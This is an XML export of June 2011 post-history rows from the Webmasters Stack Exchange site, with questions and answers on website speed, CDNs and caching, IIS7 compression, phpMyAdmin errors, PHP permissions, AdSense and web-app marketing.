  <row Id="38023" PostHistoryTypeId="2" PostId="16012" RevisionGUID="6133e5c2-aad3-483a-ab36-fd90ab2bbfc1" CreationDate="2011-06-27T13:24:02.573" UserId="8628" Text="how is the website http://dftba.com/ so fast?&#xD;&#xA;&#xD;&#xA;when i click a link it loads right then? what makes it work like this? how do i make it work like this on my site?&#xD;&#xA;&#xD;&#xA;some of the objects on the site are being hosted by a website called `ecogeek-cdn.net`? who is this company and why do they host the images of this site?&#xD;&#xA;&#xD;&#xA;i have been looking into this site some time because i want this site to be like mine site&#xD;&#xA;&#xD;&#xA;they site use Apache  &#xD;&#xA;they site use Python (when asked the developer told me this)  &#xD;&#xA;they site use jquery and jqueryui  &#xD;&#xA;they site is custom built not using wordpress  &#xD;&#xA;they site is &lt;s&gt;owned&lt;/s&gt;hosted by liquidweb  &#xD;&#xA;they site gets a million users a month  &#xD;&#xA;they site launched in january  &#xD;&#xA;they site uses cpanel  &#xD;&#xA;&lt;s&gt;they site does not have SSH or FTP (i tried to connect but it denied me all)&lt;/s&gt; they does have SSH and FTP but only allowed by their addresses  &#xD;&#xA;&#xD;&#xA;Please;  &#xD;&#xA;my english is not as good as yours" />
  <row Id="38024" PostHistoryTypeId="1" PostId="16012" RevisionGUID="6133e5c2-aad3-483a-ab36-fd90ab2bbfc1" CreationDate="2011-06-27T13:24:02.573" UserId="8628" Text="How is this site so fast?" />
  <row Id="38025" PostHistoryTypeId="3" PostId="16012" RevisionGUID="6133e5c2-aad3-483a-ab36-fd90ab2bbfc1" CreationDate="2011-06-27T13:24:02.573" UserId="8628" Text="&lt;performance&gt;&lt;website-features&gt;&lt;speed&gt;" />
  <row Id="38026" PostHistoryTypeId="2" PostId="16013" RevisionGUID="f74ba335-4d9d-4024-b43a-88b347d81989" CreationDate="2011-06-27T13:35:43.307" UserId="1253" Text="Things I noticed:&#xD;&#xA;&#xD;&#xA; - Their static content is served from a third party sites which allows more files to be downloaded in parallel. &#xD;&#xA;&#xD;&#xA; - It looks like they use a Content Delivery Networks which allows for files to be downloaded from a server closest to thee nd user.&#xD;&#xA; &#xD;&#xA; - Most of the CSS is minified which makes the files size smaller &#xD;&#xA; &#xD;&#xA; - Most of their JavaScript is located at the bottom of the page which allows the browser to load the page first and then processs the JavaScript which will be transparent to the user" />
  <row Id="38027" PostHistoryTypeId="5" PostId="16013" RevisionGUID="11e16806-bcee-4636-b0f6-ac02a673cf09" CreationDate="2011-06-27T13:41:04.393" UserId="1253" Comment="added 247 characters in body" Text="Things I noticed:&#xD;&#xA;&#xD;&#xA; - Their static content is served from a third party sites which allows more files to be downloaded in parallel. &#xD;&#xA;&#xD;&#xA; - It looks like they use a Content Delivery Networks which allows for files to be downloaded from a server closest to thee nd user.&#xD;&#xA; &#xD;&#xA; - Most of the CSS is minified which makes the files size smaller &#xD;&#xA; &#xD;&#xA; - Most of their JavaScript is located at the bottom of the page which allows the browser to load the page first and then processs the JavaScript which will be transparent to the user&#xD;&#xA;&#xD;&#xA; - They cache static files with an expires date far in the future&#xD;&#xA;&#xD;&#xA;Interestingly enough they get a low score from Google Page Speed (73 out of 100). I noticed they don't compress their text files with gzip. They'd be even faster if they did." />
  <row Id="38028" PostHistoryTypeId="2" PostId="16014" RevisionGUID="51e0f797-9532-4878-a13b-04cb8abb678c" CreationDate="2011-06-27T13:46:21.800" UserId="1253" Text="1. Remove the etag header&#xD;&#xA;&#xD;&#xA;2. Use the Cache-Control header to have a large max-age value&#xD;&#xA;&#xD;&#xA;3. Set the Expires header to be a far future date&#xD;&#xA;&#xD;&#xA;I am unsure how to do this with IIS but if you do the above Firefox should cache your images and any other files you wish to have cached." />
  <row Id="38029" PostHistoryTypeId="2" PostId="16015" RevisionGUID="d03d7def-f4e9-49a9-827f-20cd8384894a" CreationDate="2011-06-27T13:51:12.243" UserId="8629" Text="I am using IIS7 and trying to optimize as much as possible. I had one suggestion about compression but I am not sure how to turn this on. I am familiar with making changes to Web.Config but not sure about making IIS7 changes. What makes it more difficult is that I am using Windows Azure where new images are created every time I publish. &#xD;&#xA;&#xD;&#xA;Can someone explain if there's more than one way to turn on compression and how I can do it. " />
  <row Id="38030" PostHistoryTypeId="1" PostId="16015" RevisionGUID="d03d7def-f4e9-49a9-827f-20cd8384894a" CreationDate="2011-06-27T13:51:12.243" UserId="8629" Text="How can I turn on compression for my IIS 7 web sites?" />
  <row Id="38031" PostHistoryTypeId="3" PostId="16015" RevisionGUID="d03d7def-f4e9-49a9-827f-20cd8384894a" CreationDate="2011-06-27T13:51:12.243" UserId="8629" Text="&lt;iis&gt;" />
  <row Id="38032" PostHistoryTypeId="2" PostId="16016" RevisionGUID="c6aaa949-0c7a-41ef-be9d-7bc99218ae87" CreationDate="2011-06-27T13:51:22.157" UserId="8354" Text="1. Have you enabled static content compression in IIS?&#xD;&#xA;&#xD;&#xA;2. Apparently (according to this question: http://stackoverflow.com/questions/6420995/iis-7-x-static-compression-not-frequently-hit) IIS may decide not to compress files if they are RARELY accessed. I have not had ANY issues with this point -- even freshly created file worked fine.&#xD;&#xA;&#xD;&#xA;3. Use bigger `max-age` value -- 30 days or more (although it should not affect caching THAT much to completely prevent file from being cached)." />
  <row Id="38033" PostHistoryTypeId="2" PostId="16017" RevisionGUID="06825ccb-8757-4cee-be3f-c4c0fde028c9" CreationDate="2011-06-27T13:53:10.497" UserId="1253" Text="[Configuring HTTP Compression in IIS 7][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://technet.microsoft.com/en-us/library/cc730629(WS.10).aspx" />
  <row Id="38034" PostHistoryTypeId="2" PostId="16018" RevisionGUID="71363d42-9524-4a13-a3a4-59a3e9871bf0" CreationDate="2011-06-27T14:01:21.117" UserId="8087" Text="\#BestQuestionEver =)&#xD;&#xA;&#xD;&#xA;I'm the developer of the site so I should be able to answer most of these questions&#xD;&#xA;&#xD;&#xA;You brought up some interesting points.&#xD;&#xA;&#xD;&#xA;In terms of backend (Backend is rarely the source of bottle-necks in page loading, it's mostly loading but it's still worth going over the tech), the site runs on 2 dedicated servers from LiquidWeb (Both with 12xAMD Quad core 1.9Ghz processors and 128GB RAM) using Python and PHP (PHP for the cart/PayPal stuff, Python for the main frontend). We also use MongoDB, Redis and Memcached to speed up processing even more.&#xD;&#xA;&#xD;&#xA;The frontend is where it gets interesting though. As John says, we minify all our CSS and Javascript. Also all external resorces are served by the 'ecogeek-cdn' site. Ecogeek is the company that owns the servers that the site runs on, ecogeek-cdn.net points to our self-hosted content distribution network which, depending on your location will ether be served directly by our servers or by EdgeCast (We use some clever DNS stuff I don't fully understand to figure out the best/fastest option). The reason we use the domain ecogeek-cdn.net instead of cdn.dftba.com or something similar is summed up quite nicely by the sstatic site (The CDN used by StackExchange - I.E. this site)&#xD;&#xA;&#xD;&#xA;&gt; When the browser makes a request for a&#xD;&#xA;&gt; static image and sends cookies&#xD;&#xA;&gt; together with the request, the server&#xD;&#xA;&gt; doesn't have any use for those&#xD;&#xA;&gt; cookies. So they only create network&#xD;&#xA;&gt; traffic for no good reason. You should&#xD;&#xA;&gt; make sure static components are&#xD;&#xA;&gt; requested with cookie-free requests.&#xD;&#xA;&gt; Create a subdomain and host all your&#xD;&#xA;&gt; static components there.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If your domain is www.example.org, you&#xD;&#xA;&gt; can host your static components on&#xD;&#xA;&gt; static.example.org. However, if you've&#xD;&#xA;&gt; already set cookies on the top-level&#xD;&#xA;&gt; domain example.org as opposed to&#xD;&#xA;&gt; www.example.org, then all the requests&#xD;&#xA;&gt; to static.example.org will include&#xD;&#xA;&gt; those cookies. In this case, you can&#xD;&#xA;&gt; buy a whole new domain, host your&#xD;&#xA;&gt; static components there, and keep this&#xD;&#xA;&gt; domain cookie-free. Yahoo! uses&#xD;&#xA;&gt; yimg.com, YouTube uses ytimg.com,&#xD;&#xA;&gt; Amazon uses images-amazon.com and so&#xD;&#xA;&gt; on.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Another benefit of hosting static&#xD;&#xA;&gt; components on a cookie-free domain is&#xD;&#xA;&gt; that some proxies might refuse to&#xD;&#xA;&gt; cache the components that are&#xD;&#xA;&gt; requested with cookies. On a related&#xD;&#xA;&gt; note, if you wonder if you should use&#xD;&#xA;&gt; example.org or www.example.org for&#xD;&#xA;&gt; your home page, consider the cookie&#xD;&#xA;&gt; impact. Omitting www leaves you no&#xD;&#xA;&gt; choice but to write cookies to&#xD;&#xA;&gt; *.example.org, so for performance reasons it's best to use the www&#xD;&#xA;&gt; subdomain and write the cookies to&#xD;&#xA;&gt; that subdomain.&#xD;&#xA;&#xD;&#xA;All of the static content is served through NGINX with keep-alive and very high expire times so it's cached by the users browser for as long as possible, this makes subsiquent page loads very fast because next-to no resorces need to be loaded. We've also started playing about with things like pre-loading images and pages to make things even faster.&#xD;&#xA;&#xD;&#xA;But I think the main thing that contributes to our speedy page loads is using AJAX, this means every time your browser requests a page it only loads the resources required for that page, everything else stays where it is. We can also use things like animations to make the page look faster, even if it isn't (It's a psycological thing, if an image takes 1 second to load but for the last 0.25 seconds you're fading in the image, users will feel as though it loaded in 0.75 seconds because things are happening).&#xD;&#xA;&#xD;&#xA;There are lots of tricks to getting a fast website (Hint: Time spent trying to speed up your backend is probably wasted. Simple things like using CDNs, minifying files, using CSS sprites etc. can shave half a second of your page load time, you'd have to spend days maybe weeks performance tuning your backend to get that kind of improvement), consult the suggestions on Google PageSpeed and Yahoo YSlow then Google to figure out how to best to impliment it for your site." />
  <row Id="38035" PostHistoryTypeId="17" PostId="16019" RevisionGUID="fbcc9e56-a5d8-4486-b936-2ff768623bc6" CreationDate="2011-06-27T14:05:11.677" UserId="-1" Comment="from http://stackoverflow.com/questions/4987962/does-anyone-know-any-good-resources-for-learning-how-to-market-a-web-app" Text="" />
  <row Id="38036" PostHistoryTypeId="2" PostId="16020" RevisionGUID="29418725-4f05-4924-b0ab-b9ed61cdbec7" CreationDate="2011-02-14T05:45:11.420" UserDisplayName="kkampen" Text="The best thing i ever did to help me in marketing via the web was buy &quot;The Social Media Bible&quot; &#xD;&#xA;http://www.amazon.com/Social-Media-Bible-Strategies-Business/dp/0470623977/ref=sr_1_5?ie=UTF8&amp;qid=1297662101&amp;sr=8-5&#xD;&#xA;&#xD;&#xA;Here is a great article:&#xD;&#xA;http://web.appstorm.net/roundups/design-roundups/10-marketing-resources-every-app-should-provide/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an old but good article.&#xD;&#xA;http://www.masternewmedia.org/news/2007/12/05/web_application_marketing_strategy_what.htm&#xD;&#xA;&#xD;&#xA;These days its all about social marketing. That being said you should also market on Facebook Ads &amp; Google Ads. be sure to track every ad carefully so you know your actually making money &amp; conversions. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="38037" PostHistoryTypeId="2" PostId="16019" RevisionGUID="5f0adad8-a18e-40c2-b5d9-a509829e404b" CreationDate="2011-02-14T00:45:49.243" UserDisplayName="Jack Kinsella" Text="I'm a developer first and foremost. **I write web apps but have a hard time generating traffic and converting potential users** once I've released my product into the wild. I know I need to learn more about marketing but I don't know where to start as I've no baseline to judge the quality of the materials I stumble across.&#xD;&#xA;&#xD;&#xA;**Does anyone know any websites, blogs, e-books or other resources for learning how to market effectively?**" />
  <row Id="38038" PostHistoryTypeId="1" PostId="16019" RevisionGUID="5f0adad8-a18e-40c2-b5d9-a509829e404b" CreationDate="2011-02-14T00:45:49.243" UserDisplayName="Jack Kinsella" Text="Does anyone know any good resources for learning how to market a web app?" />
  <row Id="38039" PostHistoryTypeId="3" PostId="16019" RevisionGUID="5f0adad8-a18e-40c2-b5d9-a509829e404b" CreationDate="2011-02-14T00:45:49.243" UserDisplayName="Jack Kinsella" Text="&lt;web-applications&gt;&lt;marketing&gt;&lt;traffic&gt;" />
  <row Id="38040" PostHistoryTypeId="17" PostId="16020" RevisionGUID="ba86e648-8ef9-45b6-9b73-414c9e9225aa" CreationDate="2011-06-27T14:05:11.677" UserId="-1" Comment="from http://stackoverflow.com/questions/4987962/does-anyone-know-any-good-resources-for-learning-how-to-market-a-web-app" Text="" />
  <row Id="38041" PostHistoryTypeId="17" PostId="16021" RevisionGUID="3c225395-31ad-46b8-835c-d164ec79bde9" CreationDate="2011-06-27T14:05:11.677" UserId="-1" Comment="from http://stackoverflow.com/questions/4987962/does-anyone-know-any-good-resources-for-learning-how-to-market-a-web-app" Text="" />
  <row Id="38042" PostHistoryTypeId="2" PostId="16021" RevisionGUID="70f7a9cf-9fd3-4a2f-9c65-f21b849c7f89" CreationDate="2011-06-27T09:14:07.853" UserDisplayName="Roshan" Text="Build, market, sell support. You should be aware and prepared for all these from the start, or have a team ready in place." />
  <row Id="38043" PostHistoryTypeId="17" PostId="16022" RevisionGUID="4d35203f-3391-4847-bffa-f8f4de4fe177" CreationDate="2011-06-27T14:24:01.287" UserId="-1" Comment="from http://stackoverflow.com/questions/6494066/import-php-parameter-missing" Text="" />
  <row Id="38044" PostHistoryTypeId="17" PostId="16023" RevisionGUID="12876cef-e12b-4a5b-baf1-10921a0bbeb0" CreationDate="2011-06-27T14:24:01.287" UserId="-1" Comment="from http://stackoverflow.com/questions/6494066/import-php-parameter-missing" Text="" />
  <row Id="38045" PostHistoryTypeId="17" PostId="16024" RevisionGUID="93257fd9-eaeb-404b-a62d-a41c64b57a65" CreationDate="2011-06-27T14:24:01.287" UserId="-1" Comment="from http://stackoverflow.com/questions/6494066/import-php-parameter-missing" Text="" />
  <row Id="38046" PostHistoryTypeId="2" PostId="16023" RevisionGUID="8ffafc1b-61a5-42b9-ae57-0ac857557289" CreationDate="2011-06-27T14:09:30.623" UserDisplayName="djdy" Text="Looks like a corrupted installation of phpmyadmin.&#xD;&#xA;&#xD;&#xA;Make sure your permissions are set correctly. Also consider reinstalling phpmyadmin using the latest stable build." />
  <row Id="38047" PostHistoryTypeId="2" PostId="16024" RevisionGUID="bb4fde2b-3bba-4b01-8efc-030bb08cb783" CreationDate="2011-06-27T14:14:56.500" UserDisplayName="Gerep" Text="Which OS are you using?&#xD;&#xA;&#xD;&#xA;If using windows, try to reinstall your PHPMyAdmin&#xD;&#xA;If not using windows, change user permission on your phpmyadmin folder, don't change it to 777 it will return you a error." />
  <row Id="38048" PostHistoryTypeId="2" PostId="16022" RevisionGUID="65fdacf9-7841-46e5-bd6a-c89b19b53b2e" CreationDate="2011-06-27T14:01:40.040" UserDisplayName="sareeye" Text="when ever I try to delete, update my tables phpmyadmin gives this error:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    1.import.php: Missing parameter: import_type.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    2.tbl-alter.php missing parameters:field&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I looked at the php.ini config file  and changed the &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    session.save_path =&quot;c:/xampp/tmp&quot; to session.save_path =&quot;C:/xampp/session/data&quot;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;could anyone please help." />
  <row Id="38049" PostHistoryTypeId="1" PostId="16022" RevisionGUID="65fdacf9-7841-46e5-bd6a-c89b19b53b2e" CreationDate="2011-06-27T14:01:40.040" UserDisplayName="sareeye" Text="import.php parameter missing?" />
  <row Id="38050" PostHistoryTypeId="3" PostId="16022" RevisionGUID="65fdacf9-7841-46e5-bd6a-c89b19b53b2e" CreationDate="2011-06-27T14:01:40.040" UserDisplayName="sareeye" Text="&lt;php&gt;&lt;phpmyadmin&gt;" />
  <row Id="38051" PostHistoryTypeId="2" PostId="16025" RevisionGUID="da073aac-20c7-45b2-a4a5-ad4ded6f6676" CreationDate="2011-06-27T14:45:14.170" UserId="7964" Text="**Performance Tools**&#xD;&#xA;&#xD;&#xA;* [Pingdom][1]&#xD;&#xA;* [GTMatrix][2]&#xD;&#xA;&#xD;&#xA;**404's and URL's**&#xD;&#xA;&#xD;&#xA;* [W3C Link Checker][3]&#xD;&#xA;&#xD;&#xA;**Image Optimization**&#xD;&#xA;&#xD;&#xA;* [Smushit][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.pingdom.com/&#xD;&#xA;  [2]: http://gtmetrix.com/&#xD;&#xA;  [3]: http://validator.w3.org/checklink&#xD;&#xA;  [4]: http://www.smushit.com/ysmush.it/" />
  <row Id="38052" PostHistoryTypeId="2" PostId="16026" RevisionGUID="ec6df2af-21aa-4e3b-9d81-1496e21ba38e" CreationDate="2011-06-27T14:49:13.427" UserId="8581" Text="Price differences can be explained for the following reasons:&#xD;&#xA;&#xD;&#xA;- Support and customer service. Having people on call 24/hours a day to answer questions, and fix problems is expensive, cheaper hosts don't have the money to offer this support. Redundancy may be better for the more expensive players as well.&#xD;&#xA;- Name recognition. Companies that advertise heavily have to pay for the marketing, but also companies with big name recognition can charge more as people tend to go with brands over no names due to a sense of quality (this may be undeserved!). Put simply if I have only heard of network solutions and no other company I am vastly more likely to become their customer.&#xD;&#xA;- No need to discount. Discounters are trying to gain more customers usually at the expense of existing players. Discounting is a way of entering a mature market. The big names already have prominence and do not need to discount.&#xD;&#xA;- Market. Companies that are primarily supporting large companies can charge way more than companies aiming at small users and personal websites. A company that’s hosting their single domain isn't looking to penny pinch, a guy who wants to host his blog is much more likely to be looking for a deal. Large companies in general are used to dropping large amounts of money on IT costs, and usually look for strong support contracts. &#xD;&#xA;" />
  <row Id="38053" PostHistoryTypeId="25" PostId="16012" RevisionGUID="cfda58b5-343a-40cc-8873-d8ccc7a092b2" CreationDate="2011-06-27T15:25:51.707" Comment="http://twitter.com/#!/StackWebmasters/status/85368247595188224" />
  <row Id="38054" PostHistoryTypeId="2" PostId="16027" RevisionGUID="9f6a28e3-b012-45f7-b777-bb048ffcbae0" CreationDate="2011-06-27T15:41:50.520" UserId="233" Text="Webmaster Tools has a nice feature called &quot;Site performance&quot;, under the Labs section. It will show a graph of average load time over the past few months. Unless your site is completely static with low traffic, it will almost certainly be in the red area so don't worry about that.&#xD;&#xA;&#xD;&#xA;In some cases (I assume for bigger sites) it lists some of your slowest pages and some suggestions to improve page speed. Those suggestions come from Google's Page Speed tool, so your best bet is to install that, and Yahoo's YSlow tool, to help diagnose any speed issues. Search Pro Webmasters and Stack Overflow too, there are several questions on improving site speed here.&#xD;&#xA;&#xD;&#xA;I don't think Google Analytics has anything that shows page speed. There is a &quot;Connection Speeds&quot; page, supposedly showing your visitors' internet speed, but for me this has always shown &quot;Unknown&quot; and nothing else.&#xD;&#xA;&#xD;&#xA;In terms of usability, &quot;machines&quot; cannot really help you with that since it's a human reaction. Do some user testing yourself. Accessibility is a useful goal; as usual [Wikipedia][1] has plenty of information. There are accessibility checklists around too, just search for them.&#xD;&#xA;&#xD;&#xA;For general SEO, you'll want to keep an eye on your top pages and referring keywords in Google Analytics. Use Google's Adwords tool to check if there are important search phrases you are missing out on.&#xD;&#xA;&#xD;&#xA;GWT also has a slew of features. &quot;Search queries&quot; shows what your visitors are searching for, similar to GA. Here though you can sort by your average search position, clicks and click-through rate to find potential improvements. &quot;Links to your site&quot; is also pretty useful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_accessibility" />
  <row Id="38055" PostHistoryTypeId="2" PostId="16028" RevisionGUID="74d7ef86-116f-4b6b-b0e2-813294155650" CreationDate="2011-06-27T15:57:47.490" UserId="8557" Text="The google adsense code contains a reference to a javascript file. If I have 3 ad units on a single page, can I remove this reference from the other two because it is just the same. Will it violate the &quot;don't manipulate the code&quot; rule of google adsense?" />
  <row Id="38056" PostHistoryTypeId="1" PostId="16028" RevisionGUID="74d7ef86-116f-4b6b-b0e2-813294155650" CreationDate="2011-06-27T15:57:47.490" UserId="8557" Text="Google Adsense code?" />
  <row Id="38057" PostHistoryTypeId="3" PostId="16028" RevisionGUID="74d7ef86-116f-4b6b-b0e2-813294155650" CreationDate="2011-06-27T15:57:47.490" UserId="8557" Text="&lt;google-adsense&gt;" />
  <row Id="38058" PostHistoryTypeId="2" PostId="16029" RevisionGUID="2bbaa1cc-279f-42f1-8fe7-9e9ae4735e5e" CreationDate="2011-06-27T16:03:01.923" UserId="233" Text="I've been looking at the &quot;Search queries&quot; section in Google Webmaster Tools recently, and it seems like there is a lot of potential there in finding which pages on a site need improvement.&#xD;&#xA;&#xD;&#xA;I'm trying to figure out exactly what to sort or filter on. Do I look at pages with a low average position? Low impressions but high clicks? Pages that are rising up/falling down the rankings? What is the low-hanging fruit here?" />
  <row Id="38059" PostHistoryTypeId="1" PostId="16029" RevisionGUID="2bbaa1cc-279f-42f1-8fe7-9e9ae4735e5e" CreationDate="2011-06-27T16:03:01.923" UserId="233" Text="How to make the most of GWT's &quot;Search queries&quot;?" />
  <row Id="38060" PostHistoryTypeId="3" PostId="16029" RevisionGUID="2bbaa1cc-279f-42f1-8fe7-9e9ae4735e5e" CreationDate="2011-06-27T16:03:01.923" UserId="233" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;" />
  <row Id="38061" PostHistoryTypeId="2" PostId="16030" RevisionGUID="cf1e8b7f-97c3-4f94-92ee-f02f189cb80e" CreationDate="2011-06-27T16:50:04.163" UserId="7962" Text="It's still unclear to me what you've been doing in terms of improving the site speed but here goes a small contribution. A [small change in the Google Analytics javascript][1] allows the tool to measure each page load speed. It also reports conditionals regarding geographical and technological influence on the loading speed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analyticshelp/bin/answer.py?answer=1205784" />
  <row Id="38062" PostHistoryTypeId="2" PostId="16031" RevisionGUID="df6a5c07-2ba0-4ea3-b58e-4c516e067de2" CreationDate="2011-06-27T16:55:56.503" UserId="7962" Text="The problem was solved by adding the mentioned code in the old blogspot." />
  <row Id="38063" PostHistoryTypeId="2" PostId="16032" RevisionGUID="08af39f5-2d29-47cd-bcb3-7672481e4f72" CreationDate="2011-06-27T17:13:45.160" UserId="4613" Text="**Can someone please explain best practice for permissions with PHP.**  &#xD;&#xA;What case should something be writable, executable, what owner is best, etc. ?&#xD;&#xA;&#xD;&#xA;Using an apache server" />
  <row Id="38064" PostHistoryTypeId="1" PostId="16032" RevisionGUID="08af39f5-2d29-47cd-bcb3-7672481e4f72" CreationDate="2011-06-27T17:13:45.160" UserId="4613" Text="PHP permissions" />
  <row Id="38065" PostHistoryTypeId="3" PostId="16032" RevisionGUID="08af39f5-2d29-47cd-bcb3-7672481e4f72" CreationDate="2011-06-27T17:13:45.160" UserId="4613" Text="&lt;php&gt;" />
  <row Id="38066" PostHistoryTypeId="2" PostId="16033" RevisionGUID="2c9fa9fe-4d67-40af-a776-fde0d380120d" CreationDate="2011-06-27T17:43:51.077" UserId="8058" Text="PHP scripts should be editable by the owner, readable by a group the apache user is in, and optionally readable by anyone. They don't need to be executable. Ideally, most of the php scripts should be outside of a web-accessible folder, especially any configuration files. This way even if there is a problem with the apache configuration, your php files will never be exposed to the web. Often you'll just have an index.php page which calls require_once() on a script in the protected directory outside the web-accessible folder. A .htaccess file rewrites all incoming requests so that they go through the index.php, which then uses the router in the protected directory to figure out what to serve." />
  <row Id="38067" PostHistoryTypeId="2" PostId="16034" RevisionGUID="1c5648a8-a245-47f4-8f2d-b560d3edb413" CreationDate="2011-06-27T18:05:58.633" UserId="1953" Text="If you're looking to improve traffic from SEO the best things to look at are your referring traffic, to see which keywords are sending you traffic and from which search engines.&#xD;&#xA;&#xD;&#xA;In terms of general improvements it sounds like you main goal is to get people to look at your portfolio. Assuming that's the case I'd say look at bounce rates (this tells you what % of people aren't sticking around) and try to get them as low as possible, then also look at PageViews per Visit this will tell you how much of your portfolio get's looked at by each visitor you'll obviously want to get this as high as possible. &#xD;&#xA;&#xD;&#xA;I'll also assume since you have a portfolio you want to get hired for something, if that's the case then conversion rates and revenue will trump all." />
  <row Id="38068" PostHistoryTypeId="25" PostId="16032" RevisionGUID="080ec6cb-75ea-4f93-9c2b-bc41115fe798" CreationDate="2011-06-27T18:25:52.550" Comment="http://twitter.com/#!/StackWebmasters/status/85413550889254912" />
  <row Id="38069" PostHistoryTypeId="17" PostId="16035" RevisionGUID="d5f461c7-7faa-4802-a340-36488cd1c8de" CreationDate="2011-06-27T19:34:53.707" UserId="-1" Comment="from http://stackoverflow.com/questions/6497899/prezi-html-5-html5-book-recommendation" Text="" />
  <row Id="38070" PostHistoryTypeId="2" PostId="16035" RevisionGUID="064cd5c7-26bb-4cb6-a88f-d1f7918fcefd" CreationDate="2011-06-27T19:28:08.167" UserDisplayName="mukaiji" Text="I was wondering what were you thought on being able to build an app similar to prezi (presentation app) using HTML 5. &#xD;&#xA;&#xD;&#xA;Also while you're at it, I'm looking for a good HTML 5 book recommendation. Thanks!! " />
  <row Id="38071" PostHistoryTypeId="1" PostId="16035" RevisionGUID="064cd5c7-26bb-4cb6-a88f-d1f7918fcefd" CreationDate="2011-06-27T19:28:08.167" UserDisplayName="mukaiji" Text="Prezi HTML 5 &amp; html5 book recommendation" />
  <row Id="38072" PostHistoryTypeId="3" PostId="16035" RevisionGUID="064cd5c7-26bb-4cb6-a88f-d1f7918fcefd" CreationDate="2011-06-27T19:28:08.167" UserDisplayName="mukaiji" Text="&lt;javascript&gt;&lt;flash&gt;&lt;html5&gt;" />
  <row Id="38073" PostHistoryTypeId="16" PostId="16035" RevisionGUID="89bba49b-2c4e-4d40-9a4f-cc5d020d9688" CreationDate="2011-06-27T19:38:30.350" UserId="1253" />
  <row Id="38074" PostHistoryTypeId="6" PostId="16035" RevisionGUID="89bba49b-2c4e-4d40-9a4f-cc5d020d9688" CreationDate="2011-06-27T19:38:30.350" UserId="1253" Comment="Made community wiki" Text="&lt;javascript&gt;&lt;html5&gt;&lt;flash&gt;" />
  <row Id="38075" PostHistoryTypeId="2" PostId="16036" RevisionGUID="b67e871f-d311-439f-b0e4-6603e601682f" CreationDate="2011-06-27T19:46:04.950" UserId="1359" Text="I've noticed that on the 1st - 4th of the recent months  (since January), several sites I maintain are getting thousands of requests from mobile browsers, whereas throughout the rest of the month, the numbers are in the single or double digits.&#xD;&#xA;&#xD;&#xA;Has anybody else noticed this sort of behavior?&#xD;&#xA;&#xD;&#xA;I don't have the exact user agents logged, but my analysis software (WebTrends) reports the traffic as mostly iPhone/iPad/iPod, Android, and Blackberry." />
  <row Id="38076" PostHistoryTypeId="1" PostId="16036" RevisionGUID="b67e871f-d311-439f-b0e4-6603e601682f" CreationDate="2011-06-27T19:46:04.950" UserId="1359" Text="Extremely large spike in traffic on the 1st - 4th of every month from mobile browsers" />
  <row Id="38077" PostHistoryTypeId="3" PostId="16036" RevisionGUID="b67e871f-d311-439f-b0e4-6603e601682f" CreationDate="2011-06-27T19:46:04.950" UserId="1359" Text="&lt;mobile&gt;&lt;statistics&gt;&lt;crawling&gt;" />
  <row Id="38078" PostHistoryTypeId="2" PostId="16037" RevisionGUID="285e2a5e-4bd7-44ec-969d-60c498a198ae" CreationDate="2011-06-27T20:04:13.253" UserId="8302" Text="Best to let Google do its thing without manipulating the code.&#xD;&#xA;&#xD;&#xA;As this support page mentions, Google will optimize based on your pages:&#xD;&#xA;&#xD;&#xA;http://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=9735&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="38079" PostHistoryTypeId="17" PostId="16038" RevisionGUID="5e9e1366-1fe7-44bb-ac31-e0ed4f90695f" CreationDate="2011-06-27T21:10:51.097" UserId="-1" Comment="from http://stackoverflow.com/questions/6496384/website-access-dns-isp-issue" Text="" />
  <row Id="38080" PostHistoryTypeId="2" PostId="16038" RevisionGUID="01570c6b-937e-437a-8bfa-3138c7736289" CreationDate="2011-06-27T17:09:15.207" UserDisplayName="sublet" Text="This isn't so much a code issue as it might be an issue with my ISP.  For some reason when I visit a site very often, like one I manage or write stories on, it will just stop pulling data down after a while.  It's very random when it happens, but probably happens once a week. &#xD;&#xA;&#xD;&#xA;If effects everyone who is accessing the site from this connection, and I can access other sites no problem.  Also, if I go outside the office back home, which is right down the street, and access the site it is fine.  I'm using Comcast in both locations.&#xD;&#xA;&#xD;&#xA;It's almost as if I have a limit on requests to each site and have hit my limit so it blocks the site for a while.&#xD;&#xA;&#xD;&#xA;Anybody have any clue what this might be?" />
  <row Id="38081" PostHistoryTypeId="1" PostId="16038" RevisionGUID="01570c6b-937e-437a-8bfa-3138c7736289" CreationDate="2011-06-27T17:09:15.207" UserDisplayName="sublet" Text="Website Access...DNS, ISP, issue?" />
  <row Id="38082" PostHistoryTypeId="3" PostId="16038" RevisionGUID="01570c6b-937e-437a-8bfa-3138c7736289" CreationDate="2011-06-27T17:09:15.207" UserDisplayName="sublet" Text="&lt;dns&gt;&lt;isp&gt;" />
  <row Id="38083" PostHistoryTypeId="25" PostId="15994" RevisionGUID="cd9f6030-1260-42ef-b41d-cadf5a6df32d" CreationDate="2011-06-27T21:25:53.950" Comment="http://twitter.com/#!/StackWebmasters/status/85458855072501760" />
